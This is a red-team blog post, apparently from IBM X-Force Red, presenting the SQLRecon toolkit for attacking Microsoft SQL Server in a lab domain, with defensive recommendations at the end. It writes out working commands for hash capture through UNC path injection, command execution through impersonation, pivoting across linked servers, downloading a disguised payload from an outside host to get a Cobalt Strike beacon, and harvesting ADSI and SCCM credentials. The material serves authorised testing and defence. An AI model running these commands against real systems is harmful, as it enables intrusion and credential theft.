Over the course of my career, I’ve had the privileged opportunity to peek behind the veil of some of the largest organizations in the world. In my experience, most industry verticals rely on enterprise Windows networks. In fact, I can count on one hand the number of times I have seen a decentralized zero-trust network, enterprise Linux, macOS network, or Active Directory alternative (FreeIPA).
As I navigate my way through these large and often complex enterprise networks, it is common to discover Microsoft SQL Servers, which have typically been deployed to support a business function. For readers who are unfamiliar with SQL Server, the long and short is that it’s a relational database software usually installed on top of a Windows server. The primary purpose of SQL Server is to store and provide data to applications or users.
This blog post will review the attack surface that is presented by SQL Server, and how to abuse misconfigurations and vulnerabilities using X-Force Red’s tool SQLRecon. In addition, defensive considerations will be outlined where applicable.
Microsoft SQL Server
The vulnerabilities and misconfigurations in SQL Server have been well documented. While these weaknesses have seemingly always existed, somehow hardening SQL Server continues to be often overlooked by defensive teams. I am mostly referring to hardening the underlying configuration and preventing trivial access to the service.
One plausible justification for this oversight is that there are bigger risks an organization needs to prioritize and address. As a result, hardening SQL Server falls to the wayside, as tinkering with production database configurations may result in availability issues, which could manifest into operational issues and ultimately impact business productivity.
Common vulnerabilities and misconfigurations
One of the most common misconfigurations I continue to see in enterprise networks is the ability for any authenticated domain object to connect to the SQL service as a low privilege account. This only requires a valid domain context. In other words, a valid token for a domain user or domain computer account.
To illustrate an example, if the workstation of a regular business user is compromised and a network route exists to a misconfigured SQL Server, it is possible for an adversary to:
- Execute limited SQL commands on the remote SQL Server.
- Determine the privileges they have, which could provide escalation opportunities via impersonation-style attacks.
- Instruct SQL Server to provide authentication materials via a solicited request to a Universal Naming Convention (UNC) path, which can result in obtaining hashed credentials, which in turn can be cracked or passed forward to perform relaying style attacks.
- Piggyback off the rights assigned to a SQL Server that is linked to other SQL Servers, which can result in privilege escalation.
These are just some examples of what an adversary can achieve when assessing a misconfigured SQL Server within a domain context. The attack surface presented by SQL Server will always depend on the environment and configuration you are facing.
Why focus on Microsoft SQL Server attacks now?
In recent times, red team operators have been nothing short of blessed by the variety of Active Directory abuses that can be leveraged to elevate privileges in enterprise Microsoft networks. However, as defensive teams start to get a handle on mitigating these weaknesses, naturally the avenues to escalate privileges through abusing Active Directory tend to dry up.
Still, we soldier on and make our way down the proverbial list of attacks, optimistically seeking escalation paths that will aid us in acting on our objectives. I’m somewhat reluctant to admit that for a long time, attacking SQL Server was quite far down the list for me. Instead, I opted to prioritize things like shared storage spaces, internal web applications, DevOps tooling, or cloud infrastructure. You can probably see where I am going with this …
At some point in 2022, I was on an engagement and had reached a stalling point after exhausting all the preferred escalation paths. This was largely due to an exceptionally well-hardened environment. At least, that was what I thought before I discovered a large SQL Server farm, where there just had to be a misconfiguration or vulnerability.
Unbeknownst to me at the time, and only after writing this blog post, I discovered that Kaspersky found that reoccurring attacks using SQL Server had risen by 56% in 2022. That is a staggering amount.
Attacking Microsoft SQL Server
As a red team operator, I often interact with systems I have compromised in our clients’ networks using a command and control (C2) framework. The clients we are fortunate enough to work with usually have mature cyber-security programs, capable defensive teams, and modern security controls, such as endpoint detection and response (EDR) solutions.
There have been several tools developed over the years to attack SQL Server. The one that I always ended up reaching for during my pen-testing days was PowerUpSQL. This is a project that was created by Scott Sutherland (@_nullbind), developed largely in PowerShell.
EDR solutions can be a formidable opponent to go up against as they do a fantastic job detecting malicious open-source tooling designed for offensive security, especially those that rely on PowerShell. That’s not to slight PowerShell post-exploitation tooling, they serve a purpose, just not for the problem I was facing in the environment I was in.
PowerShell is good, but C# is better
The problem I was facing on my engagement was that I needed to find a way to connect to Microsoft SQL Servers and begin interrogating them to determine if there were any misconfigurations or vulnerabilities. However, using any of the existing SQL Server post-exploitation tools, which rely on PowerShell, would have been a sure-fire way of getting caught by the defensive team. This is due to a variety of reasons, which I won’t pour over in detail, but PowerShell is not an ideal harness to sling your post-exploitation attacks due to security features such as AMSI, constrained language mode, and various styles of logging. This is only further compounded when an EDR solution, and other logging and monitoring controls are in place.
As an alternative, red team operators often choose C# as a language to develop post-exploitation tooling with, as it provides an easy way to interface with the .NET framework along with Windows APIs.
By no means am I a C# or .NET developer, but I know just about enough to write tools that solve a problem I am facing. Queue SQLRecon, a C# SQL toolkit designed for offensive reconnaissance and post-exploitation.
SQLRecon
SQLRecon helps address the post-exploitation tooling gap by modernizing the approach red team operators can take when attacking SQL Servers. The tool was designed to be modular, allowing for ease of extensibility. SQLRecon is compatible stand-alone or within a diverse set of C2 frameworks. When using the latter, SQLRecon can be executed either in-process or through traditional fork and run.
SQLRecon has over 80 modules to choose from. Listed below is a high-level overview of some of the features provided by SQLRecon:
Authentication Providers
- Local SQL database account
- Windows domain authentication based on current token
- Windows domain authentication with user supplied credentials
- Azure domain authentication
- Azure local authentication
Enumeration Modules
- Locate SQL Servers associated with a Service Principal Name (SPN)
- Obtain information about the SQL service
- Determine privileges within SQL Server
- List databases, tables, columns, and users
- Search databases for content
- Execute arbitrary queries
- Enumerate users which can be impersonated
- Identify linked SQL Servers
Command Execution, Lateral Movement and Privilege Escalation
xp_cmdshell- OLE Automation Procedures
- Load and execute custom .NET CLR assemblies
- SQL Agent Jobs
- ADSI credential gathering
Operational Security
- Continuous authentication validation
- Extensive command line logging
- Execution guardrails based on whether SQL Server options are enabled or disabled
- Argument error handling
- Randomized alphanumeric SQL content creation where applicable
- Automatic clean-up of data created in SQL Server for command execution purposes
Other
- Ability to switch database contexts
- Connect to SQL Servers listening on non-standard TCP ports
- Support for impersonation-style attacks
- Ability to enumerate and attack linked SQL Servers
- Support for a variety of Microsoft System Center Configuration Manager (SCCM) and Microsoft Endpoint Configuration Manager (ECM) SQL database attacks
- All SQL queries use the
System.Data.SqlClient namespace, developed by Microsoft
For detailed usage information on each technique, please refer to the wiki.
Using SQLRecon
To set the stage for the upcoming demonstrations, I will be operating off a compromised Windows 10 workstation that belongs to Jeff Smith (JSmith) in the kawalabs.local enterprise network.
Jeff’s workstation has a network route to three SQL Servers, each of which are running different versions; 2016, 2019 and 2022.
A SQL link has been configured between SQL01 and SQL02, and another SQL link has been configured between SQL02 and SQL03. For readers who are not familiar with linked SQL Servers, this effectively allows one SQL instance to execute SQL statements on another SQL instance. For example, SQL01 can execute SQL statements on SQL02, and SQL02 can execute statements on SQL03, but SQL01 cannot execute statements on SQL03 and vice versa. It is common to see linked SQL Servers in real enterprise networks.
In addition, an Active Directory Services (ADSI) link exists between SQL03 and the primary domain controller in the kawalabs.local domain, DC01. ADSI links provide SQL Server with a way to interact with Active Directory objects.
Lastly, the kawalabs.local domain has been connected to an Azure Active Directory domain, kawalabs.onmicrosoft.com using Azure AD Connect. This allows on-premise Active Directory users in the kawalabs.local to access resources in the Azure cloud. The kawalabs.onmicrosoft.com Azure AD tenancy contains a SQL Server which stores payment data, ECOM01.
Figure 1: Network configuration
Furthermore, I will be leveraging Cobalt Strike, which is a popular command-and-control framework, to perform post-exploitation tasks from Jeff’s compromised workstation (DESKTOP-LF8Q3C6). In the following screenshot, I have executed the whoami command. This is just to display that Jeff is not a privileged user and has basic rights within the kawalabs.local domain and broader network.
Figure 2: Issuing the whoami command
Enumeration
At the time of writing, SQLRecon has two enumeration modules that can be used to discover SQL Servers in a network, as well as gain some information about a SQL Server instance. The following command will enumerate Active Directory Service Principal Names (SPNs) and identify if there are any SPNs set for SQL Servers. In the kawalabs.local domain, there is an SPN set for a couple of different accounts, this is demonstrated in the screenshot below.
|
SQLRecon.exe /e:SqlSpns /d:kawalabs.local
|
Scroll to view full table
Figure 3: Discovering SQL Servers via SPN collection
The info module is quite useful to gain additional information about a server. The example below demonstrates the type of information that is retrieved from a SQL Server.
|
SQLRecon.exe /a:WinToken /h:SQL02 /m:info
|
Scroll to view full table
Figure 4: Obtaining information about SQL02
Shout out to Daniel Duggan (@_RastaMouse) for his contributions to the enumeration modules in SQLRecon.
Standard modules
Standard modules are executed against a single instance of SQL Server.
In the following example, I use the AzureAD authentication provider, which uses the username and password for an Azure Active Directory account to authenticate against ECOM01, a SQL instance located in the Azure cloud. I then use the whoami module to determine the privileges Jeff has on ECOM01.
|
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:whoami
|
Scroll to view full table
Figure 5: Enumerating SQL privileges for [email protected]
By default, SQLRecon will connect to the master database, as this database typically exists on all SQL Server instances. However, you can easily list all the different databases on the SQL Server instances by using the databases module.
|
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:databases
|
Scroll to view full table
Figure 6: Enumerating databases on ECOM01
You can connect to other databases by specifying the database name with the /database: flag and pass forward any module you want to execute. In the example below, I connect to the Payments database on ECOM01 and execute a custom SQL query that will obtain all content from the cc table.
|
SQLRecon.exe /a:AzureAD /d:kawalabs.onmicrosoft.com /database:Payments /u:jsmith /p:XXXX /h:ecom01.database.windows.net /m:query /c:"select * from cc;"
|
Scroll to view full table
Figure 7: Obtaining dummy card data from the cc table in the Payments database on ECOM01
Moving into some more interesting modules, SQLRecon supports UNC path injection, which can be performed by a low privilege user account, such as KAWALABS\JSmith. This can result in obtaining hashed credentials, which in turn can be cracked or passed forward to perform relaying style attacks. In the following example, I use the WinToken authentication provider, which uses the token for the KAWALABS\JSmith user account, to authenticate against SQL02, an on-premise server.
|
SQLRecon.exe /a:WinToken /h:SQL02 /m:smb /rhost:\\172.16.10.19\Projects
|
Scroll to view full table
Figure 8: UNC path injection
In the following screenshot, we can see the connection being made by SQL02 to a host in our control (172.16.10.19). This results in obtaining the NetNTLMv2 hash for the KAWALABS\mssql_svc domain account.
Figure 9: Obtaining the NetNTLMv2 hash for KAWALABS\mssql_svc
SQLRecon has a variety of command execution modules that can be used to execute arbitrary commands on the underlying system. This is particularly useful if you are seeking to perform privilege escalation and/or lateral movement. Significant guardrails have been implemented throughout SQLRecon to ensure that operational security is enabled by default. The two primary guardrails are:
- Continuous authentication validation, where
SQLRecon will validate that it is possible to authenticate against the domain, or SQL Server before executing any modules.
- Execution guardrails, where
SQLRecon will validate that optimal conditions exist before executing any modules that load objects, create objects, or execute commands.
xp_cmdshell has long been one of the most common methods where commands can be executed on the underlying server via a SQL database. In the following example, I used the low privilege KAWALABS\JSmith account to attempt to launch the notepad.exe application on SQL01.
|
SQLRecon.exe /a:WinToken /h:SQL01 /m:xpCmd /c:notepad.exe
|
Scroll to view full table
Figure 10: Demonstration of guardrail preventing command execution from taking place
As seen in the image above, an execution guardrail is encountered, and an error message is received which indicates that xp_cmdshell is disabled. This is usually the default configuration on most versions of SQL Server. The nice thing is, SQLRecon has an enableXp module, which will enable the xp_cmdshell configuration. SQLRecon also has a disableXp module so that you can revert to the original secure state after executing your command with xpCmd.
|
SQLRecon.exe /a:WinToken /h:SQL01 /m:enableXp
|
Scroll to view full table
Figure 11: Demonstration of another guardrail, where insufficient privileges prevents command execution from taking place
As expected, the low privilege KAWALABS\JSmith account encounters an execution guardrail and received a message that they do not have the necessary privileges to enable or disable xp_cmdshell … or do they?
Abusing impersonation
SQL impersonation is a special permission that essentially enables a user or group to operate with the permission of another user, as well as with their own permissions. The following screenshot is taken from the backend configuration of SQL02 and demonstrates that BUILTIN\Users can impersonate the sa account.
Figure 12: BUILTIN\Users can impersonate the sa account on SQL02
SQLRecon has an impersonate module to help determine if a user account can impersonate another user.
|
SQLRecon.exe /a:WinToken /h:SQL02 /m:impersonate
|
Scroll to view full table
As seen in the screenshot below, the KAWALABS\JSmith low privilege user account can impersonate the sa account on SQL02. This demonstrates the ability to execute commands on the SQL instance with admin-like privileges. Furthermore, it means that we can now execute system commands on the underlying server.
Figure 13: Enumerating accounts that can be impersonated on SQL02
To demonstrate another command execution module, SQLRecon can execute commands on the underlying user using OLE Automation Procedures. This uses the odsole70.dll assembly to interact with COM objects so that wscript.shell can be leveraged to run arbitrary system commands.
Impersonation modules are always prepended with the letter i, and these modules will need the name of the account which is going to be impersonated. In the following example, I connect to SQL02 as the low privilege KAWALABS\JSmith account and impersonate the sa account to enable OLE Automation Procedures on SQL02.
SQLRecon.exe / a:WinToken /h:SQL02 /i:sa /m:iEnableOle |
Scroll to view full table
Figure 14: Enabling OLE Automation Procedures using impersonation
Now that OLE Automation Procedures is enabled on SQL02, I am in the position to execute any arbitrary command on the underlying server in context of the user account which has started the SQL Server process. In the following example, I execute a PowerShell child process that lists the directory of the same share that was previously used to capture NetNTLMv2 credentials. Keep in mind, this is largely for demonstration purposes and not typically an action that would be performed on an adversary simulation engagement.
|
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iOleCmd /c:"powershell.exe ls \\172.16.10.19\Projects"
|
Scroll to view full table
Figure 15: Using PowerShell to list a directory on a remote host
As seen in the screenshot above, a randomly generated OLE object and method gets created, the malicious command is then executed, and the OLE objects are destroyed. This is intentional as we don’t want to leave behind any evidence of our actions.
In the following screenshot, we can see the connection being made by the KAWALABS\mssql_svc user account via SQL02 to a host in our control (172.16.10.19). This results in obtaining the NetNTLMv2 hash for the KAWALABS \mssql_svc computer account.
Figure 16: Obtaining the NetNTLMv2 hash for KAWALABS\mssql_svc
The following example demonstrates using impersonation to execute the tasklist command using xp_cmdshell on SQL02.
|
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iEnableXp
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iXpCmd /c:tasklist
|
Scroll to view full table
Figure 17: Enabling xp_cmdshell and executing system commands using impersonation on SQL02
It is always good practice to revert configurations back to the state they were originally in.
|
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableOle
SQLRecon.exe /a:WinToken /h:SQL02 /i:sa /m:iDisableXp
|
Scroll to view full table
Figure 18: Disabling OLE Automation Procedures and xp_cmdshell on SQL02
Attacking linked SQL Servers
SQLRecon also can perform attacks against linked SQL Server instances. The following screenshot is taken from the backend configuration of SQL02 and demonstrates that SQL02 has a link to SQL03. From my experience, this is a common configuration in large enterprise networks.
Figure 19: SQL02 has a SQL link to SQL03
Configuring a link from one SQL Server instance to another often requires a set of privileged credentials to establish and bind the link. This is beneficial for adversaries as it allows commands to be executed on the linked SQL Server in context of the account which has established the connection. Another point of consideration is that linked servers may be segmented from the network that an adversary is operating on. This could present the opportunity to traverse segmentation boundaries and enter a network zone of higher security requirements.
SQLRecon has a links module to determine if a SQL Server has any linked SQL instances.
|
SQLRecon.exe /a:WinToken /h:SQL02 /m:links
|
Scroll to view full table
Figure 20: Enumerating linked SQL servers on SQL02
Linked modules are always prepended with the letter l, and these modules will need the name of a linked server that you want to issue commands against. In the following example, I connect to SQL02 as the low privilege KAWALABS\JSmith account and issue the lWhoami command against the linked SQL03 instance.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lWhoami
|
Scroll to view full table
Figure 21: Enumerating SQL privileges that we can assume on SQL03 via SQL02
As seen in the screenshot above, we are operating in context of the sa account on SQL03. This is because the sa account was used to establish the SQL link from SQL02 to SQL03.
All execution modules in SQLRecon are fully supported on linked SQL Servers. In the following example, I enable Common Language Runtime (CLR) integration on SQL02.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lEnableClr
|
Scroll to view full table
Figure 22: Enabling CLR integration on SQL02
CLR integration allows custom .NET assembles to be imported into SQL Server. These assemblies are stored inside of a stored procedure before they get executed. This is a nice lateral movement attack primitive.
In the following screenshot, I create a custom SQL Server CLR compatible .NET assembly called hollow.dll. This will store a Cobalt Strike payload into a stored procedure named ExecuteShellcode. The payload performs basic process hollowing and injects the Cobalt Strike shellcode into newly spawned Internet Explorer (iexplore.exe) process.
Figure 23: hollow.dll, a SQL Server CLR compatible .NET assembly
If you are interested in learning more about custom SQL Server CLR compatible .NET assemblies, please visit the Clr section of the SQLRecon wiki. An example of hollow.dll can be found here.
In the following demonstration, I have uploaded hollow.dll to a web server and renamed the assembly to favicon.png. I instruct the linked SQL03 server to download favicon.png from a web server and perform the necessary steps to import the custom assembly into a SQL Server stored procedure and execute the payload. This results in obtaining a Cobalt Strike beacon in context of the KAWALABS\mssql_svc user on SQL03.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:https://cdn.popped.io/favicon.png /function:ExecuteShellcode
|
Scroll to view full table
Figure 24: Obtaining a Cobalt Strike beacon in context of KAWALABS\mssql_svc on SQL03
Of course, the previous example requires that SQL03 has Internet access for the assembly to be downloaded from a public-facing web server. There are cases where downloading a foreign resource from a public-facing web server is not possible or desirable. As such, SQLRecon allows custom assemblies to be loaded directly from the file system of the compromised host, or from an SMB share. In the following demonstration, I have uploaded hollow.dll to a local SMB server and renamed the assembly to Reports.xlsx. I instruct the linked SQL03 server to download Reports.xlsx from the SMB server and perform the necessary steps to import the custom assembly into a SQL Server stored procedure and execute the payload. This results in obtaining a Cobalt Strike beacon in context of the KAWALABS\mssql_svc user on SQL03.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lClr /dll:\\172.16.10.19\Projects\Reports.xlsx /function:ExecuteShellcode
|
Scroll to view full table
Figure 25: Obtaining a Cobalt Strike beacon in context of KAWALABS\mssql_svc<code> on <code>SQL03
Attacking linked SQL Servers – ADSI abuse
SQLRecon also can perform attacks against linked ADSI Server instances to obtain cleartext credentials for domain accounts. For additional information on ADSI tradecraft, please see the Tarlogic blog post. The following screenshot is taken from the backend configuration SQL03 and demonstrates that SQL03 has an ADSI link to the primary domain controller in the kawalabs.local domain, DC01. This ADSI link is represented by the linkADSI object.
Figure 26: SQL03 has an ADSI link to DC01
Configuring an ADSI link from an instance of SQL Server to an Active Directory domain controller does not necessarily require privileged credentials. However, during real-world operations, I have seen cases where the principle of least privilege has not been applied.
In the following example, I use the lLinks module to first connect to SQL02, and then query SQL03 for additional linked SQL Server. You can think of this as a double link scenario.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lLinks
|
Scroll to view full table
Figure 27: Enumerating links on SQL03 from SQL02
Now that we have verified that an ADSI link exists on SQL03, we can leverage the lAdsi module to obtain the cleartext domain credentials used to configure the ADSI connection from SQL03 to DC01. This involves uploading a custom CLR assembly that contains an LDAP server into a new SQL Server runtime routine on SQL03. The LDAP server will then execute and listen for local-only connections on a user supplied port, in this case 49103. We then leverage SQL Server agent jobs on SQL03 to direct the credentials used to configure the ADSI connection to solicit an LDAP request to the local LDAP server on port 49103. This temporary LDAP authentication redirection is what ultimately results in obtaining cleartext domain credentials. It should be noted that the Adsi and iAdsi modules do not use SQL Server agent jobs to initiate the LDAP solicitation process, instead, standard SQL queries are used.
|
SQLRecon.exe /a:WinToken /h:SQL02 /l:SQL03 /m:lAdsi /rhost:linkADSI /lport:49103
|
Scroll to view full table
Figure 28: Double-link ADSI credential gathering attack
SCCM modules
One of the biggest extensions to SQLRecon comes from my colleague Dave Cossa (@G0ldenGunSec), who has introduced a variety of modules that can be leveraged to abuse Microsoft System Center Configuration Manager (SCCM) and Microsoft Endpoint Configuration Manager (ECM). SCCM modules were developed off the back of a real-world engagement, where abusing the SCCM SQL Server database facilitated with furthering our progress to objectives. In most cases, to interact with the SCCM database, an elevated privilege context needs to be acquired, or access to the SCCM server needs to be obtained. In the examples below, I have a Cobalt Strike beacon running in context of the KAWALABS\mssccm_svc account on an ECM server, MECM01.
I’ll simply refer to both ECM and SCCM as SCCM from this point onwards.
In the following example, I use the databases module to enumerate the databases which exist in the SQL Server instance on MECM01.
|
SQLRecon.exe /a:WinToken /h:MECM01 /m:databases
|
Scroll to view full table
Figure 29: Enumerating databases on MECM01
As seen in the screenshot above, the CM_KAW database exists, which is most likely database configured for SCCM on this server.
SCCM modules are always prepended with the letter s, and these modules will need the name of the SCCM database that you want to issue commands against. In the following example, I connect to the CM_KAW database on MECM01 as the KAWALABS\mssccm_svc account and issue the sUsers command. This module enumerates all principals that are configured to logon to the SCCM server.
|
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sUsers
|
Scroll to view full table
Figure 30: Enumerating all users that can log in to SCCM via the SCCM SQL Server database
It is also possible to enumerate tasks that have been configured in SCCM by using the sTaskList module.
|
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sTaskList
|
Scroll to view full table
Figure 31: Enumerating tasks configured in SCCM via the SCCM SQL Server database
SCCM will usually need to vault credentials, which are used to authenticate to systems or resources in an environment to deploy software packages or perform any of the other various actions provided by SCCM. Using the sCredentials module, we can obtain a list of vaulted credentials.
|
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sCredentials
|
Scroll to view full table
Figure 32: Obtaining vaulted credentials via the SCCM SQL Server database
In the screenshot above, we can see that one credential has been vaulted, and this is the credential for the KAWALABS\mssccm_svc account.
Using Adam Chester’s (@_xpn_) logic, it is possible to decrypt SCCM vaulted credentials and obtain the cleartext password for vaulted accounts. This does require local administrator privileges on the SCCM server. In the following screenshot, I use the sDecryptCredentials account to decrypt the credential vaulted for the KAWALABS\mssccm_svc account.
|
SQLRecon.exe /a:WinToken /h:MECM01 /database:CM_KAW /m:sDecryptCredentials
|
Scroll to view full table
Figure 33: Decrypting vaulted SCCM credentials
Defensive considerations
To prevent attackers from abusing SQL Server, defenders can take a layered approach when implementing security controls. First and foremost, I would highly suggest reading the official Microsoft guidance on SQL Server security best practices.
The next stop should be the prevention, detection, and mitigation guidance in the SQLRecon wiki, which has some excellent defensive considerations. I’ve picked out a couple of the more important controls to implement and listed them below.
Network security controls
The following security controls should be considered for implementation at the network level.
- Ensure that network routes to SQL Servers have been accounted for and limited to only an authorized set of systems, or subnets. Workstations rarely require the ability to communicate directly with SQL Servers. Consider blocking access to TCP 1433 if viable.
- Verify that network logging and monitoring tools are capturing SQL queries which traverse network boundaries. It would be unusual for a workstation to send SQL queries to a SQL server.
Endpoint security controls
The following security controls should be considered for implementation on workstations and servers in the environment.
- Validate that host-based security controls, such as endpoint detection and response solutions are enabled and that product signatures are fully up to date on a regular basis.
- Defenders should ensure that .NET Framework v4.8 is installed on Windows endpoints and that whatever host-based security product is being used supports AMSI for .NET. This allows the scanning of .NET assemblies in memory.
- Enable or configure an application allow-listing solution to prevent unsigned binaries, such as
SQLRecon, from being executed directly on the endpoint.
Microsoft SQL Server security controls
- Ensure that hardening guidelines have been followed on the underlying Windows Server operating system. Consider only installing the necessary SQL database components.
- Ensure that SQL Servers are encompassed in the organizations patch management policy and that patches are routinely applied against the SQL service and SQL server.
- Consider restricting or remove the
BUILTIN\Users account from authenticating against SQL Server instances.
- Follow the principle of least privilege when configuring roles on user accounts. This principle should also be applied to the service account which starts SQL Server.
- Remove unnecessary SQL service principal name associations.
- Use strong passwords for any local account, such as the
sa account.
- Log, centrally ingest and audit SQL Server logon events. Netwrix has written a great blog on how this can be achieved.
- Encrypt sensitive content. This protects datasets from being exposed, even if the SQL Server is compromised.
- Evaluate links between SQL servers and determine the type of authentication binding the link. If possible, elect to use the current authentication security context, rather than using the context of the
sa account.
- Evaluate any impersonations which have been configured and determine their requirements.
- If using Azure SQL databases, ensure that Microsoft Advanced Threat Protection is enabled and configured to send alerts.
Conclusion
Attacks against SQL Server continue to be relevant in today’s cybersecurity landscape. Adversaries are constantly evolving their techniques to evade defensive controls, and in doing so, they are increasingly exploiting ancillary services, such as SQL Server. These attacks have become more sophisticated and stealthier, often employing less common techniques to bypass traditional security measures.
By abusing SQL Server, adversaries can gain unauthorized access to sensitive data, manipulate databases, and even compromise entire systems. The consequences of such attacks can be severe, resulting in data breaches, financial losses, and damage to an organization’s reputation.
To mitigate the risk of these attacks, it is crucial for organizations to review their SQL Server configurations and adopt best practices for security. Moreover, organizations should invest in security solutions that provide real-time monitoring, anomaly detection, and behavioral analysis capabilities. These solutions can help detect and respond to attacks more effectively, minimizing the potential impact on critical data and systems. By taking proactive measures to secure SQL Server environments, organizations can significantly reduce the risk of falling victim to these attacks and protect their valuable data assets.
You can always find the latest stable version of SQLRecon on the X-Force Red Github page.
If you’re attending Black Hat Las Vegas and are interested in learning more you can attend my session: Abusing Microsoft SQL Server with SQLRecon on Thursday, August 10 at 1:00 pm PT.
Senior Managing Security Consultant, Adversary Services, IBM X-Force Red